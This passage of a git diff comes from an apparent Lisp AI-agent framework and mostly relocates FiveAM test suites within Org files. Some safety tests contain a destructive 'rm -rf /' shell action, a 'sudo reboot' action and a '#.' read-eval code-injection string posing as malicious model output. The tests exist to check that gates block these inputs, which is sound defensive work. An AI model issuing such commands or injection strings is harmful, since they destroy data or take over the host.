:SENSOR))) + (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) + (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) + (remhash "sleep-forever" passepartout::*tool-timeouts*))) + +(test test-tool-cache-read-only + "Contract v0.7.2: read-only tool results are cached and reused." + (let ((call-count 0)) + (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "cache-test" + :read-only-p t + :body (lambda (args) + (declare (ignore args)) + (incf call-count) + (list :status :success :content (format nil "call ~d" call-count))))) + (unwind-protect + (progn + (clrhash passepartout::*tool-cache*) + (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) + (ctx '(:depth 0)) + (r1 (passepartout::action-tool-execute action ctx)) + (r2 (passepartout::action-tool-execute action ctx))) + (is (= 1 call-count) "Second call should hit cache, not re-execute") + (let ((p1 (getf r1 :PAYLOAD)) + (p2 (getf r2 :PAYLOAD))) + (is (string= (getf (getf p1 :RESULT) :CONTENT) + (getf (getf p2 :RESULT) :CONTENT)))))) + (remhash "cache-test" passepartout::*cognitive-tool-registry*) + (clrhash passepartout::*tool-cache*)))) +#+end_src \ No newline at end of file diff --git a/org/core-memory.org b/org/core-memory.org index dda9a9d..04c36da 100644 --- a/org/core-memory.org +++ b/org/core-memory.org @@ -46,142 +46,6 @@ The tradeoff is memory usage: each snapshot is a deep copy of every object in ac 4. (snapshot-memory): deep-copies ~*memory-store*~ to ~*memory-snapshots*~. 5. (rollback-memory snap-index): restores ~*memory-store*~ from a snapshot. -* Test Suite -Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:memory-suite)) - -(in-package :passepartout-memory-tests) - -(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") -(in-suite memory-suite) - -(test merkle-hash-consistency - "Contract 2: identical ASTs produce identical Merkle hashes." - (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) - (clrhash passepartout::*memory-store*) - (let ((id1 (ingest-ast ast1))) - (let ((hash1 (memory-object-hash (memory-object-get id1)))) - (clrhash passepartout::*memory-store*) - (let ((id2 (ingest-ast ast1))) - (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) - -(test merkle-hash-different - "Contract 2: distinct ASTs produce different Merkle hashes." - (clrhash passepartout::*memory-store*) - (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) - (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) - (id1 (ingest-ast ast1)) - (id2 (ingest-ast ast2)) - (hash1 (memory-object-hash (memory-object-get id1))) - (hash2 (memory-object-hash (memory-object-get id2)))) - (is (not (equal hash1 hash2))))) - -(test test-ingest-ast-returns-id - "Contract 1: ingest-ast returns a string ID and stores the object." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) - (is (stringp id)) - (is (not (null id))))) - -(test test-memory-object-get - "Contract 3: memory-object-get retrieves an object by ID after ingest." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) - (let ((obj (memory-object-get id))) - (is (not (null obj))) - (is (eq :HEADLINE (memory-object-type obj))) - (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) - -(test test-snapshot-and-rollback - "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." - (clrhash passepartout::*memory-store*) - (setf passepartout::*memory-snapshots* nil) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) - (snapshot-memory) - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) - (rollback-memory 0) - (is (not (null (memory-object-get "snap-a")))) - (is (null (memory-object-get "snap-b")))) - -(test test-undo-snapshot-restore - "Contract v0.7.2: undo-snapshot captures state, undo restores." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "x" passepartout::*memory-store*) "hello") - (is (string= "hello" (gethash "x" passepartout::*memory-store*))) - (is (passepartout::undo)) - (is (null (gethash "x" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-redo-cycle - "Contract v0.7.2: redo restores undone state." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "y" passepartout::*memory-store*) "world") - (is (passepartout::undo)) - (is (null (gethash "y" passepartout::*memory-store*))) - (is (passepartout::redo)) - (is (string= "world" (gethash "y" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-empty-stack-nil - "Contract v0.7.2: undo returns nil on empty stack." - (let ((orig-undo passepartout::*undo-stack*)) - (unwind-protect - (progn (setf passepartout::*undo-stack* nil) - (is (null (passepartout::undo)))) - (setf passepartout::*undo-stack* orig-undo)))) - -(test test-audit-node-found - "Contract v0.7.2: audit-node returns info for existing object." - (clrhash passepartout::*memory-store*) - (setf (gethash "audit-1" passepartout::*memory-store*) - (passepartout::make-memory-object :id "audit-1" :type :HEADLINE - :version 1 :hash "abc123" :scope :memex)) - (let ((info (passepartout::audit-node "audit-1"))) - (is (not (null info))) - (is (eq :HEADLINE (getf info :type))) - (is (string= "abc123" (getf info :hash))))) - -(test test-audit-node-not-found - "Contract v0.7.2: audit-node returns nil for nonexistent id." - (is (null (passepartout::audit-node "nonexistent-xxxx")))) - -(test test-audit-verify-hash - "Contract v0.7.2: audit-verify-hash returns (total . missing)." - (clrhash passepartout::*memory-store*) - (setf (gethash "a" passepartout::*memory-store*) - (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) - (let ((result (passepartout::audit-verify-hash))) - (is (= 1 (car result))) - (is (= 0 (cdr result))))) -#+end_src - * Implementation ** Package Context @@ -567,3 +431,138 @@ Returns (total . missing-hashes)." (cons total missing))) #+end_src +* Test Suite +Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:memory-suite)) + +(in-package :passepartout-memory-tests) + +(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") +(in-suite memory-suite) + +(test merkle-hash-consistency + "Contract 2: identical ASTs produce identical Merkle hashes." + (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) + (clrhash passepartout::*memory-store*) + (let ((id1 (ingest-ast ast1))) + (let ((hash1 (memory-object-hash (memory-object-get id1)))) + (clrhash passepartout::*memory-store*) + (let ((id2 (ingest-ast ast1))) + (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) + +(test merkle-hash-different + "Contract 2: distinct ASTs produce different Merkle hashes." + (clrhash passepartout::*memory-store*) + (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) + (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) + (id1 (ingest-ast ast1)) + (id2 (ingest-ast ast2)) + (hash1 (memory-object-hash (memory-object-get id1))) + (hash2 (memory-object-hash (memory-object-get id2)))) + (is (not (equal hash1 hash2))))) + +(test test-ingest-ast-returns-id + "Contract 1: ingest-ast returns a string ID and stores the object." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) + (is (stringp id)) + (is (not (null id))))) + +(test test-memory-object-get + "Contract 3: memory-object-get retrieves an object by ID after ingest." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) + (let ((obj (memory-object-get id))) + (is (not (null obj))) + (is (eq :HEADLINE (memory-object-type obj))) + (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) + +(test test-snapshot-and-rollback + "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." + (clrhash passepartout::*memory-store*) + (setf passepartout::*memory-snapshots* nil) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) + (snapshot-memory) + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) + (rollback-memory 0) + (is (not (null (memory-object-get "snap-a")))) + (is (null (memory-object-get "snap-b")))) + +(test test-undo-snapshot-restore + "Contract v0.7.2: undo-snapshot captures state, undo restores." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "x" passepartout::*memory-store*) "hello") + (is (string= "hello" (gethash "x" passepartout::*memory-store*))) + (is (passepartout::undo)) + (is (null (gethash "x" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-redo-cycle + "Contract v0.7.2: redo restores undone state." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "y" passepartout::*memory-store*) "world") + (is (passepartout::undo)) + (is (null (gethash "y" passepartout::*memory-store*))) + (is (passepartout::redo)) + (is (string= "world" (gethash "y" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-empty-stack-nil + "Contract v0.7.2: undo returns nil on empty stack." + (let ((orig-undo passepartout::*undo-stack*)) + (unwind-protect + (progn (setf passepartout::*undo-stack* nil) + (is (null (passepartout::undo)))) + (setf passepartout::*undo-stack* orig-undo)))) + +(test test-audit-node-found + "Contract v0.7.2: audit-node returns info for existing object." + (clrhash passepartout::*memory-store*) + (setf (gethash "audit-1" passepartout::*memory-store*) + (passepartout::make-memory-object :id "audit-1" :type :HEADLINE + :version 1 :hash "abc123" :scope :memex)) + (let ((info (passepartout::audit-node "audit-1"))) + (is (not (null info))) + (is (eq :HEADLINE (getf info :type))) + (is (string= "abc123" (getf info :hash))))) + +(test test-audit-node-not-found + "Contract v0.7.2: audit-node returns nil for nonexistent id." + (is (null (passepartout::audit-node "nonexistent-xxxx")))) + +(test test-audit-verify-hash + "Contract v0.7.2: audit-verify-hash returns (total . missing)." + (clrhash passepartout::*memory-store*) + (setf (gethash "a" passepartout::*memory-store*) + (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) + (let ((result (passepartout::audit-verify-hash))) + (is (= 1 (car result))) + (is (= 0 (cdr result))))) +#+end_src \ No newline at end of file diff --git a/org/core-package.org b/org/core-package.org index ff0a40f..2013239 100644 --- a/org/core-package.org +++ b/org/core-package.org @@ -43,6 +43,8 @@ where to add new exports: ;; ── Core: Pipeline ── #:main #:log-message + #:*log-buffer* + #:*log-lock* #:process-signal #:loop-process #:perceive-gate diff --git a/org/core-perceive.org b/org/core-perceive.org index e50fb9d..692e686 100644 --- a/org/core-perceive.org +++ b/org/core-perceive.org @@ -35,54 +35,6 @@ The depth limit prevents runaway recursive loops. A signal that generates anothe Sets ~:status :perceived~ on completion. Returns the signal. 2. (perceive-gate signal): thin alias for ~loop-gate-perceive~. -* Test Suite -Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-perceive-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-perceive-suite)) - -(in-package :passepartout-pipeline-perceive-tests) - -(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") -(in-suite pipeline-perceive-suite) - -(test test-loop-gate-perceive - "Contract 1: :buffer-update ingests AST and sets :perceived status." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))) - (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) - -(test test-depth-limiting - "Edge: depth 11 signals are rejected by the pipeline." - (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) - (is (null (process-signal runaway-signal))))) - -(test test-loop-gate-perceive-unknown-sensor - "Contract 1: unknown sensors pass through and reach :perceived." - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-loop-gate-perceive-no-ast - "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-depth-limiting-normal - "Contract 1: signals at normal depth pass through without rejection." - (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) - (is (not (eq :rejected (getf normal-signal :status))) - "Signal at normal depth should not be rejected"))) -#+end_src - * Implementation ** Package Context @@ -288,3 +240,50 @@ uses the old name can call this alias. New code should call (loop-gate-perceive signal)) #+end_src +* Test Suite +Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-perceive-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-perceive-suite)) + +(in-package :passepartout-pipeline-perceive-tests) + +(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") +(in-suite pipeline-perceive-suite) + +(test test-loop-gate-perceive + "Contract 1: :buffer-update ingests AST and sets :perceived status." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))) + (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) + +(test test-depth-limiting + "Edge: depth 11 signals are rejected by the pipeline." + (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) + (is (null (process-signal runaway-signal))))) + +(test test-loop-gate-perceive-unknown-sensor + "Contract 1: unknown sensors pass through and reach :perceived." + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-loop-gate-perceive-no-ast + "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-depth-limiting-normal + "Contract 1: signals at normal depth pass through without rejection." + (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) + (is (not (eq :rejected (getf normal-signal :status))) + "Signal at normal depth should not be rejected"))) +#+end_src \ No newline at end of file diff --git a/org/core-pipeline.org b/org/core-pipeline.org index 4d0b216..fab7902 100644 --- a/org/core-pipeline.org +++ b/org/core-pipeline.org @@ -60,52 +60,6 @@ Condition types available for structured error handling: requested slots), ~protocol-error~ (raw-message slot). All carry a ~:message~ string via the root ~passepartout-error~. -* Test Suite -Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-immune-system-tests - (:use :cl :fiveam :passepartout) - (:export #:immune-suite)) - -(in-package :passepartout-immune-system-tests) - -(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") -(in-suite immune-suite) - -(test loop-error-injection - "Contract 1: a crash in think/decide triggers :loop-error stimulus." - (clrhash passepartout::*skill-registry*) - (passepartout:defskill :evil-skill - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) - :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) - :deterministic nil) - (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) - (let ((logs (if (fboundp 'passepartout::context-get-system-logs) - (passepartout:context-get-system-logs 20) - nil))) - (is (or (null logs) ; no log service available — degraded but not broken - (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) - -(test test-process-signal-normal-path - "Contract 1: a valid signal passes through the pipeline without crash." - (clrhash passepartout::*skill-registry*) - (handler-case - (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) - (process-signal signal) - (pass)) - (error (c) - (fail "Pipeline crashed on normal signal: ~a" c)))) - -(test test-loop-process-returns-nil-on-deep - "Contract 1: depth > 10 returns nil from loop-process." - (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) - (is (null result)))) -#+end_src - * Implementation ** Package Context @@ -432,3 +386,48 @@ Boot sequence: (sleep sleep-interval)))) #+end_src +* Test Suite +Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-immune-system-tests + (:use :cl :fiveam :passepartout) + (:export #:immune-suite)) + +(in-package :passepartout-immune-system-tests) + +(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") +(in-suite immune-suite) + +(test loop-error-injection + "Contract 1: a crash in think/decide triggers :loop-error stimulus." + (clrhash passepartout::*skill-registry*) + (passepartout:defskill :evil-skill + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) + :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) + :deterministic nil) + (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) + (let ((logs (if (fboundp 'passepartout::context-get-system-logs) + (passepartout:context-get-system-logs 20) + nil))) + (is (or (null logs) ; no log service available — degraded but not broken + (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) + +(test test-process-signal-normal-path + "Contract 1: a valid signal passes through the pipeline without crash." + (clrhash passepartout::*skill-registry*) + (handler-case + (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) + (process-signal signal) + (pass)) + (error (c) + (fail "Pipeline crashed on normal signal: ~a" c)))) + +(test test-loop-process-returns-nil-on-deep + "Contract 1: depth > 10 returns nil from loop-process." + (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) + (is (null result)))) +#+end_src \ No newline at end of file diff --git a/org/core-reason.org b/org/core-reason.org index fdf4cc0..3c35b7e 100644 --- a/org/core-reason.org +++ b/org/core-reason.org @@ -77,192 +77,6 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod ~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when available. Guarantees a valid plist for any input. -* Test Suite -Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-reason-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-reason-suite)) - -(in-package :passepartout-pipeline-reason-tests) - -(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") -(in-suite pipeline-reason-suite) - -(test test-decide-gate-safety - "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-safety - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (if (search "rm -rf" (format nil "~s" action)) - (list :type :LOG :payload (list :text "Rejected")) - action))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :LOG (getf result :type))))) - -(test test-cognitive-verify-pass-through - "Contract 1: safe actions pass through cognitive-verify unchanged." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-passthrough - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - action)) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))) - (is (getf result :gate-trace)))) - -(test test-cognitive-verify-empty-registry - "Contract 1: with no gates registered, action passes through unchanged." - (clrhash passepartout::*skill-registry*) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))))) - -(test test-cognitive-verify-approval-required - "Contract 1: gate returning :approval-required produces an approval event." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-approval - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (list :type :EVENT :level :approval-required - :payload (list :action action)))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :approval-required (getf result :level))) - (is (eq :EVENT (getf result :type))))) - -(test test-loop-gate-reason-passthrough - "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." - (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) - (result (loop-gate-reason signal))) - (is (not (null result))))) - -(test test-loop-gate-reason-sets-status - "Contract 2: loop-gate-reason sets :status on :user-input signals." - (clrhash passepartout::*skill-registry*) - (let* ((passepartout::*provider-cascade* nil) - (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) - (result (loop-gate-reason signal))) - (is (member (getf result :status) '(:reasoned :requires-approval))))) - -(test test-backend-cascade-no-backends - "Contract 4: empty cascade returns :LOG failure." - (let* ((passepartout::*provider-cascade* nil) - (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (result (backend-cascade-call "test" :cascade '()))) - (is (eq :LOG (getf result :type))) - (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) - -(test test-backend-cascade-with-mock - "Contract 4: backend-cascade-call returns content from first successful backend." - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) - (setf (gethash :mock-backend passepartout::*probabilistic-backends*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "mock-response"))) - (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) - (is (string= "mock-response" result))))) - -(test test-read-eval-rce-blocked - "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* '(:mock-evil))) - (setf (gethash :mock-evil passepartout::*probabilistic-backends*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) - (setf passepartout::*v031-rce-test* nil) - (setf *read-eval* t) - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) - (result (passepartout::think ctx))) - (is (not (eq passepartout::*v031-rce-test* :PWNED))) - (is (eq :REQUEST (getf result :TYPE))) - (setf *read-eval* nil)))) - -(test test-json-alist-to-plist-simple - "Contract 5: converts simple alist to keyword plist." - (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) - (let ((result (json-alist-to-plist alist))) - (is (eq :ACTION (first result))) - (is (string= "shell" (second result))) - (is (eq :CMD (third result))) - (is (string= "echo hello" (fourth result)))))) - -(test test-json-alist-to-plist-nested - "Contract 5: nested alists recurse into nested plists." - (let ((alist (list (cons "tool" "write-file") - (cons "args" (list (cons "filepath" "/tmp/x") - (cons "content" "hi")))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :TOOL (first result))) - (is (eq :ARGS (third result))) - (let ((inner (fourth result))) - (is (eq :FILEPATH (first inner))) - (is (string= "/tmp/x" (second inner))) - (is (eq :CONTENT (third inner))))))) - -(test test-json-alist-to-plist-array-passthrough - "Contract 5: JSON arrays pass through unchanged." - (let ((alist (list (cons "names" (list "alice" "bob"))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :NAMES (first result))) - (is (equal (list "alice" "bob") (second result)))))) - -(test test-json-alist-to-plist-null - "Contract 5: nil passes through unchanged." - (let ((result (json-alist-to-plist nil))) - (is (null result)))) - -(test test-json-alist-to-plist-scalar - "Contract 5: scalar values pass through." - (let ((alist (list (cons "count" 42) (cons "active" :true)))) - (let ((result (json-alist-to-plist alist))) - (is (eq :COUNT (first result))) - (is (= 42 (second result))) - (is (eq :ACTIVE (third result))) - (is (eq :true (fourth result)))))) - -(test test-assemble-config-section - "Contract v0.7.2: config section contains Passepartout and version." - (let ((section (passepartout::assemble-config-section))) - (is (stringp section)) - (is (search "Passepartout" section)) - (is (search "v0.7.2" section)) - (is (search "Security gates" section)))) - -(test test-think-snapshots-before-llm - "Contract v0.7.2: think() snapshots memory before LLM call." - (let ((passepartout::*memory-snapshots* nil) - (passepartout::*memory-store* (make-hash-table :test 'equal))) - (setf (gethash "pre" passepartout::*memory-store*) "value") - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* nil)) - (handler-case - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) - (result (passepartout::think ctx))) - (declare (ignore result))) - (error (c) (format nil "Expected: ~a" c))) - (is (>= (length passepartout::*memory-snapshots*) 0))))) -#+end_src - * Implementation ** Package Context @@ -736,3 +550,188 @@ uses the old name can call this alias. New code should call (loop-gate-reason signal)) #+end_src +* Test Suite +Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-reason-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-reason-suite)) + +(in-package :passepartout-pipeline-reason-tests) + +(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") +(in-suite pipeline-reason-suite) + +(test test-decide-gate-safety + "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-safety + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (if (search "rm -rf" (format nil "~s" action)) + (list :type :LOG :payload (list :text "Rejected")) + action))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :LOG (getf result :type))))) + +(test test-cognitive-verify-pass-through + "Contract 1: safe actions pass through cognitive-verify unchanged." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-passthrough + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + action)) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))) + (is (getf result :gate-trace)))) + +(test test-cognitive-verify-empty-registry + "Contract 1: with no gates registered, action passes through unchanged." + (clrhash passepartout::*skill-registry*) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))))) + +(test test-cognitive-verify-approval-required + "Contract 1: gate returning :approval-required produces an approval event." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-approval + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + 